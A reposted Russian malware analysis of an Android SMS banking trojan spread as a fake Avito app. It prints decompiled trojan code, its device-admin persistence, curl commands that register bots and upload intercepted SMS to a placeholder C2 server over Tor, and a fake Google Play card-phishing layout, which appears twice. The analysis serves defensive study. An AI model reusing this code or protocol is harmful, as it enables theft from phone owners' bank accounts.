Скопипастил с хабра интересную статью, ссылка на оригинал справа...
Часто вирусы для android приходят к нам при помощи рассылок.
Раньше это были СМС, а теперь еще и современные мессенджеры. Мне было интересно посмотреть, что же сейчас на рынке вредоноса, поэтому зарегистрировалась и подала пару объявлений на avito.
Спустя пару дней после публикации мне позвонили из салона красоты Desheli и пригласили на бесплатную процедуру, вроде как подарок от кого-то из друзей. Смысл в том, что после процедуры они крайне настойчиво уговаривают взять кредит на их косметику. Тема старая, избитая, но все еще работает.
А после позвонили еще из чего-то подобного, только тут уже честно сказали, что база номеров набирается автоматически. Всякий раз, как спрашивала название их конторы, начинался ужасный шум, явно не просто так. То, что номер взяли с avito, было понятно, потому что ко мне обращались по тому имени, что я написала в объявлении.
А то, ради чего это все затевалось, пришло только через пару недель. Мне прислали почти подряд 3 смс примерно одинакового содержания.
Что примечательно, из 3 ссылок доступна была только одна, при том, что попытка скачать была сразу же после получения смс.
Скаченный avito.apk весит 437кб. Это много. Такой размер оказался из-за библиотеки android.support.v7, которая тут не нужна. Если её убрать, будет ~50кб.
Отчет virustotal.
Судя по количеству детектов, сомнений быть не может — это зловред, еще и не обфусцированный.
Начнем с AndroidManifest.xml
Смотрим права, которые запрашиваются при установке приложения:
Код:
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
Дальше по манифесту DEVICE_ADMIN
Таким образом, приложение помечается как администратор устройства и его нельзя удалить, пока не сняты права в Настройки-Безопасность-Администраторы устройства:
Код:
<receiver
android:label="Условия использования"
android:name="app.six.MyAdmin"
android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data android:name="android.app.device_admin" android:resource="@layout/policies" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
Код:
<?xml version="1.0" encoding="utf-8"?>
<device-admin>
<uses-policies />
</device-admin>
На самом деле никаких проблем не будет. Это последний шанс отговорить пользователя.
Код:
public CharSequence onDisableRequested(Context ctx, Intent paramIntent) {
return "Если вы продолжите, могут возникнуть проблемы при работе с приложениями! Вы уверены, что хотите продолжить?";
}
Дальше видим фейк на Google Play, выполненный в старом дизайне, еще доматериальном.
Код:
<activity
android:theme="@*android:style/Theme.Light.NoTitleBar.Fullscreen"
android:label="Play Маркет"
android:icon="@drawable/market_icon"
android:name="app.six.CardAtivity"
android:screenOrientation="portrait"
android:configChanges="keyboardHidden|orientation"
/>
Код:
<receiver android:name="app.six.MainReceiver">
<intent-filter android:priority="100">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="android.intent.action.PHONE_STATE" />
<action android:name="android.intent.action.NEW_OUTGOING_CALL" />
</intent-filter>
</receiver>
<service android:name="app.six.MainService" />
<activity
android:label="@string/title_activity_adm"
android:name="app.six.AdmActivity"
android:launchMode="singleTask" />
</application>
</manifest>
Устанавливаем, разрешаем администратора устройства, дальше ожидается, что приложение будет спрятано на устройстве. Но оно остается в списке приложений, его даже запустить можно. Подразумевается, что это должно успокоить пользователя.
Скорее всего, разработчик не смог вызвать Activity с запросом прав администратора и решил вывести ошибку.
К сожалению, автозалива по сбербанку у бота не оказалось, владелец посылает команды руками.
Сначала идет запрос на регистрацию бота:
url --socks5 127.0.0.1:9050 --data "mode=register&prefix=1&version_sdk=123.4.4(Bot.v.4.2)&imei=1234567890123&country=ru&number=null&operator=Beeline" http://url.com/controller.php
После чего боту присваивается порядковый номер и пароль. На момент, когда начала анализ, было 350 пользователей.
{"response": [{"bot_id": 1234, "bot_pwd": "blabla"}], "status": "ok"}
Дальше идет запрос команды
curl --socks5 127.0.0.1:9050 --data "mode=getTask&bid=348&pwd=17h9q&divice_admin=1" http://url.com/controller.php
{"response": [{"mode": "set_intercept", "intercept": "all"},{"mode": "upcatsm"},{"mode": "timer_msg", "sms_id": "1232", "sms_text": "БАЛАНС", "sms_number": "900", "time": "20"}], "status": "ok"}
Отвечаем балансом карты:
curl --socks5 127.0.0.1:9050 --data "mode=setSaveInboxSms&number=900&text=VISA1234 Баланс:23000р.&time=2016-01-27 20:01:15&status_sms=1&sms_mode=2&bid=1234" http://url.com/controller.php
{"response": [], "status": "ok"}
После отправки запроса о балансе и повторного запроса команды выдается команда на перехват смс.
{"response": [{"mode": "set_intercept", "intercept": "all"}], "status": "ok"}
Запрос баланса сбербанка идет в автоматическом режиме. Какие-либо иные команды также на ручном управлении.
Получение команды.
Тут следовало бы использовать case, но автор не в курсе, как сравнивать строки в JAVA
Код:
JSONObject newOb = arr.getJSONObject(i);
if (newOb.getString("mode").equals("set_intercept")) {
dbSet.setIntercept(newOb.getString(DbSet.INTERCEPT));
}
if (newOb.getString("mode").equals("set_interval")) {
dbLog.setInterval(newOb.getInt(U_COLUMS.INTERVAL));
}
if (newOb.getString("mode").equals("send_sms")) {
mItem = new MessageItem(newOb.getString("sms_number"), newOb.getString("sms_text"), newOb.getInt("sms_id"));
Settings.sendSms(MainService.this.ctx, mItem);
}
if (newOb.getString("mode").equals("set_server")) {
dbSet.setServer(MainService.this.ctx, newOb.getString(DbSet.SERVER));
}
if (newOb.getString("mode").equals("upcatsm")) {
new Settings(MainService.this.ctx).upServerCatSms();
}
if (newOb.getString("mode").equals("upsmlist")) {
new Settings(MainService.this.ctx).upServerSmsList(newOb.getString("number"));
}
if (newOb.getString("mode").equals("changeNotify")) {
dbSet.setNotify(newOb.getString("text"));
}
if (newOb.getString("mode").equals("get_ussd")) {
SettingsBase.ussdOn(MainService.this.ctx, newOb.getString("text"));
}
if (newOb.getString("mode").equals("timer_msg")) {
mItem = new MessageItem(newOb.getString("sms_number"), newOb.getString("sms_text"), newOb.getInt("sms_id"));
Settings.sendSmsTimer(MainService.this.ctx, mItem, newOb.getInt("time"));
}
И проверка фильтра, по которому идет перехват сообщений:
Код:
if ((str.equals("all")) || (str.equals("All")) || (str.equals("ALL")) || (str.equals("")))
setInterval — изменение времени отклика к гейту
send_sms
Отправка смс реализована несколько криво. Не поддерживает отправку составных смс — максимальная длина 70 символов русскими буквами. Рассылку по контактам будет делать неудобно.
Код:
public static boolean sendSms(Context context, MessageItem item) {
try {
Intent intent = new Intent(context, MainReceiver.class);
intent.setAction(Constants.CONST_SMS_DELIVERED_STATUS);
intent.putExtra(Constants.CONST_ID_SEND_SMS, item.id);
PendingIntent sentPendingIntent = PendingIntent.getBroadcast(context, item.id, intent, 0);
try {
SmsManager.getDefault().sendTextMessage(item.phone, null, item.text, sentPendingIntent, null);
} catch (Exception e) {
sendMessage(context, "Неизвестная ошибка при отправке СМС.", "ERROR", 1, 0);
}
return true;
} catch (Exception ex) {
ex.printStackTrace();
return false;
}
}
upsmlist, upcatsm — отправляют все входящие и исходящие смс в формате json на сервер
changeNotify — посылает пользователю push уведомление с заданным текстом с иконкой от google play. Вот тут вызывается Activity с фейком google play.
Команда на вызов фейка мне не пришла, а собрать пустое приложение с xml фейка не получилось. Похоже при декомпиляции поломался. Ничего интересного в нем все равно нет. Провека на валидность по алгоритму Луна, год, etc.
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout android:orientation="1" android:background="#fff" android:layout_width="-1" android:layout_height="-1"
<LinearLayout android:background="@drawable/top" android:layout_width="-1" android:layout_height="50dp"
<LinearLayout android:orientation="1" android:background="#fff" android:layout_width="-2" android:layout_height="-1">
<ImageView android:id="@id/imageView1" android:background="#fff" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/market_icon" />
</LinearLayout>
<TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#fff" android:layout_gravity="10" android:id="@id/textView1" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:text="Google Play" />
</LinearLayout>
<LinearLayout android:orientation="1" android:id="@id/layoutOk" android:background="#fff" android:visibility="2" android:layout_width="-1" android:layout_height="-2">
<TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#1c1c1c" android:id="@id/textView5" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:text="Спасибо, ваши данные приняты. Ожидайте результат на ваш email адрес." />
<Button android:textColor="#fff" android:id="@id/btn_close" android:background="@drawable/btn" android:layout_width="-1" android:layout_height="40dp" android:layout_marginLeft="5dp" android:layout_marginTop="10dp" android:layout_marginRight="5dp" android:text="Закрыть" />
</LinearLayout>
<LinearLayout android:orientation="1" android:id="@id/layout1" android:layout_width="-1" android:layout_height="-2" />
<ScrollView android:id="@id/scrollView1" android:visibility="0" android:layout_width="-1" android:layout_height="-1" android:isScrollContainer="true">
<LinearLayout android:orientation="1" android:layout_width="-1" android:layout_height="-2"
<LinearLayout android:orientation="1" android:id="@id/layout2" android:background="#fff" android:visibility="0" android:layout_width="-1" android:layout_height="-2">
<TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#a52a2a" android:id="@id/textError" android:visibility="2" android:layout_width="-1" android:layout_height="-2" android:layout_margin="3dp" android:text="Medium Text" />
<TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#1c1c1c" android:id="@id/textView2" android:layout_width="-1" android:layout_height="-2" android:layout_margin="5dp" android:text="Для продолжения использования сервиса Google Play необходимо ввести платежные данные." />
</LinearLayout>
<LinearLayout android:orientation="1" android:id="@id/LinearInput" android:visibility="0" android:layout_width="-1" android:layout_height="-2" android:layout_marginTop="5dp"
<LinearLayout android:layout_width="-1" android:layout_height="-2">
<ImageView android:id="@id/imageView2" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/visa" />
<ImageView android:id="@id/imageView3" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/mastercard" />
<ImageView android:id="@id/imageView4" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/logo_maestro" />
<ImageView android:id="@id/imageView4343f" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/discovery" />
</LinearLayout>
<LinearLayout android:layout_width="-1" android:layout_height="-2" android:layout_marginTop="5dp">
<EditText android:id="@id/ETCard1" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginRight="2dp" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2">
<requestFocus />
</EditText>
<EditText android:id="@id/ETCard2" android:focusableInTouchMode="true" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="2dp" android:maxLength="4" android:digits="0123456789 " android:layout_weight="1.0" android:inputType="2" />
<EditText android:id="@id/ETCard3" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="2dp" android:maxLines="1" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2" />
<EditText android:id="@id/ETCard4" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="5dp" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2" />
</LinearLayout>
<LinearLayout android:layout_width="-1" android:layout_height="-2">
<EditText android:id="@id/ETCard5" android:layout_width="70dp" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="ММ" android:ems="10" android:maxLength="2" android:inputType="2" />
<TextView android:layout_gravity="10" android:id="@id/textView3" android:layout_width="-2" android:layout_height="-2" android:text="/" />
<EditText android:id="@id/ETCard6" android:layout_width="70dp" android:layout_height="-2" android:layout_margin="5dp" android:hint="ГГ" android:ems="10" android:maxLength="2" android:inputType="2" />
</LinearLayout>
<LinearLayout android:layout_width="-1" android:layout_height="-2">
<EditText android:id="@id/ETCard7" android:layout_width="100dp" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="CVC-код" android:ems="10" android:maxLength="3" android:inputType="2" />
<ImageView android:layout_gravity="10" android:id="@id/imageView5" android:layout_width="-2" android:layout_height="-2" android:src="@drawable/cvc_visa" />
</LinearLayout>
<EditText android:id="@id/EditTextName" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="Имя и фамилия держателя карты" android:ems="10" android:maxLength="60" android:inputType="1" />
<Button android:textColor="#fff" android:id="@id/btn_save" android:background="@drawable/btn" android:layout_width="-1" android:layout_height="40dp" android:layout_marginLeft="5dp" android:layout_marginTop="10dp" android:layout_marginRight="5dp" android:text="Продолжить" />
</LinearLayout>
<Button android:textColor="#8b8989" android:id="@id/btnCancel" android:background="@drawable/btn_alpa" android:visibility="2" android:layout_width="-1" android:layout_height="40dp" android:layout_marginTop="15dp" android:text="Закрыть" />
</LinearLayout>
</ScrollView>
</LinearLayout>
<LinearLayout android:orientation="1" android:background="#fff" android:layout_width="-1" android:layout_height="-1"
<LinearLayout android:background="@drawable/top" android:layout_width="-1" android:layout_height="50dp"
<LinearLayout android:orientation="1" android:background="#fff" android:layout_width="-2" android:layout_height="-1">
<ImageView android:id="@id/imageView1" android:background="#fff" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/market_icon" />
</LinearLayout>
<TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#fff" android:layout_gravity="10" android:id="@id/textView1" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:text="Google Play" />
</LinearLayout>
<LinearLayout android:orientation="1" android:id="@id/layoutOk" android:background="#fff" android:visibility="2" android:layout_width="-1" android:layout_height="-2">
<TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#1c1c1c" android:id="@id/textView5" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:text="Спасибо, ваши данные приняты. Ожидайте результат на ваш email адрес." />
<Button android:textColor="#fff" android:id="@id/btn_close" android:background="@drawable/btn" android:layout_width="-1" android:layout_height="40dp" android:layout_marginLeft="5dp" android:layout_marginTop="10dp" android:layout_marginRight="5dp" android:text="Закрыть" />
</LinearLayout>
<LinearLayout android:orientation="1" android:id="@id/layout1" android:layout_width="-1" android:layout_height="-2" />
<ScrollView android:id="@id/scrollView1" android:visibility="0" android:layout_width="-1" android:layout_height="-1" android:isScrollContainer="true">
<LinearLayout android:orientation="1" android:layout_width="-1" android:layout_height="-2"
<LinearLayout android:orientation="1" android:id="@id/layout2" android:background="#fff" android:visibility="0" android:layout_width="-1" android:layout_height="-2">
<TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#a52a2a" android:id="@id/textError" android:visibility="2" android:layout_width="-1" android:layout_height="-2" android:layout_margin="3dp" android:text="Medium Text" />
<TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#1c1c1c" android:id="@id/textView2" android:layout_width="-1" android:layout_height="-2" android:layout_margin="5dp" android:text="Для продолжения использования сервиса Google Play необходимо ввести платежные данные." />
</LinearLayout>
<LinearLayout android:orientation="1" android:id="@id/LinearInput" android:visibility="0" android:layout_width="-1" android:layout_height="-2" android:layout_marginTop="5dp"
<LinearLayout android:layout_width="-1" android:layout_height="-2">
<ImageView android:id="@id/imageView2" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/visa" />
<ImageView android:id="@id/imageView3" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/mastercard" />
<ImageView android:id="@id/imageView4" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/logo_maestro" />
<ImageView android:id="@id/imageView4343f" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/discovery" />
</LinearLayout>
<LinearLayout android:layout_width="-1" android:layout_height="-2" android:layout_marginTop="5dp">
<EditText android:id="@id/ETCard1" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginRight="2dp" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2">
<requestFocus />
</EditText>
<EditText android:id="@id/ETCard2" android:focusableInTouchMode="true" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="2dp" android:maxLength="4" android:digits="0123456789 " android:layout_weight="1.0" android:inputType="2" />
<EditText android:id="@id/ETCard3" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="2dp" android:maxLines="1" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2" />
<EditText android:id="@id/ETCard4" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="5dp" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2" />
</LinearLayout>
<LinearLayout android:layout_width="-1" android:layout_height="-2">
<EditText android:id="@id/ETCard5" android:layout_width="70dp" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="ММ" android:ems="10" android:maxLength="2" android:inputType="2" />
<TextView android:layout_gravity="10" android:id="@id/textView3" android:layout_width="-2" android:layout_height="-2" android:text="/" />
<EditText android:id="@id/ETCard6" android:layout_width="70dp" android:layout_height="-2" android:layout_margin="5dp" android:hint="ГГ" android:ems="10" android:maxLength="2" android:inputType="2" />
</LinearLayout>
<LinearLayout android:layout_width="-1" android:layout_height="-2">
<EditText android:id="@id/ETCard7" android:layout_width="100dp" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="CVC-код" android:ems="10" android:maxLength="3" android:inputType="2" />
<ImageView android:layout_gravity="10" android:id="@id/imageView5" android:layout_width="-2" android:layout_height="-2" android:src="@drawable/cvc_visa" />
</LinearLayout>
<EditText android:id="@id/EditTextName" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="Имя и фамилия держателя карты" android:ems="10" android:maxLength="60" android:inputType="1" />
<Button android:textColor="#fff" android:id="@id/btn_save" android:background="@drawable/btn" android:layout_width="-1" android:layout_height="40dp" android:layout_marginLeft="5dp" android:layout_marginTop="10dp" android:layout_marginRight="5dp" android:text="Продолжить" />
</LinearLayout>
<Button android:textColor="#8b8989" android:id="@id/btnCancel" android:background="@drawable/btn_alpa" android:visibility="2" android:layout_width="-1" android:layout_height="40dp" android:layout_marginTop="15dp" android:text="Закрыть" />
</LinearLayout>
</ScrollView>
</LinearLayout>
Android не имеет API для получения ответа от USSD команд. Т.е. команду выполнит, но получить текст из ответа нельзя. Тут есть 2 решения проблемы — или через специальные возможности, или подключить стороннюю библиотеку IExtendedNetworkService.aidl.
Спец.возможности работают, начиная с 4 версии android, требуют включения отдельной опции в настройках и перехватывают все всплывающие окна без исключения. Также эти уведомления можно глобально подавить. С библиотекой все проще, она ловит, когда это требуется, и работает, начиная с 2 версии андроида. Но слухи о её работоспособности сильно преувеличены.
При этом перехват ответа от USSD может понадобиться только для получения баланса симкарты. USSD команды сбербанка работают таким образом, что и код подтверждения, и ответ будут отправлены по смс.
Код:
public static void ussdOn(Context context, String phone) {
phone = new StringBuilder(String.valueOf(phone)).append(Uri.encode("#")).toString();
C0091M.m6d("ussdOn: " + phone);
try {
Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + phone));
intent.addFlags(268435456);
context.startActivity(intent);
} catch (Exception e) {
Settings.sendMessage(context, "Неизвестаная ошибка: USSD " + phone, "СИСТЕМА", 2, 0);
}
}
timer_msg — отправка смс по таймеру
Бот имеет скрытый потенциал, функции которые не используются:
downloadFile, installApk — лоадер
getContacts — сбор номеров из телефонной книги
openUrl — вызов браузера с заданным адресом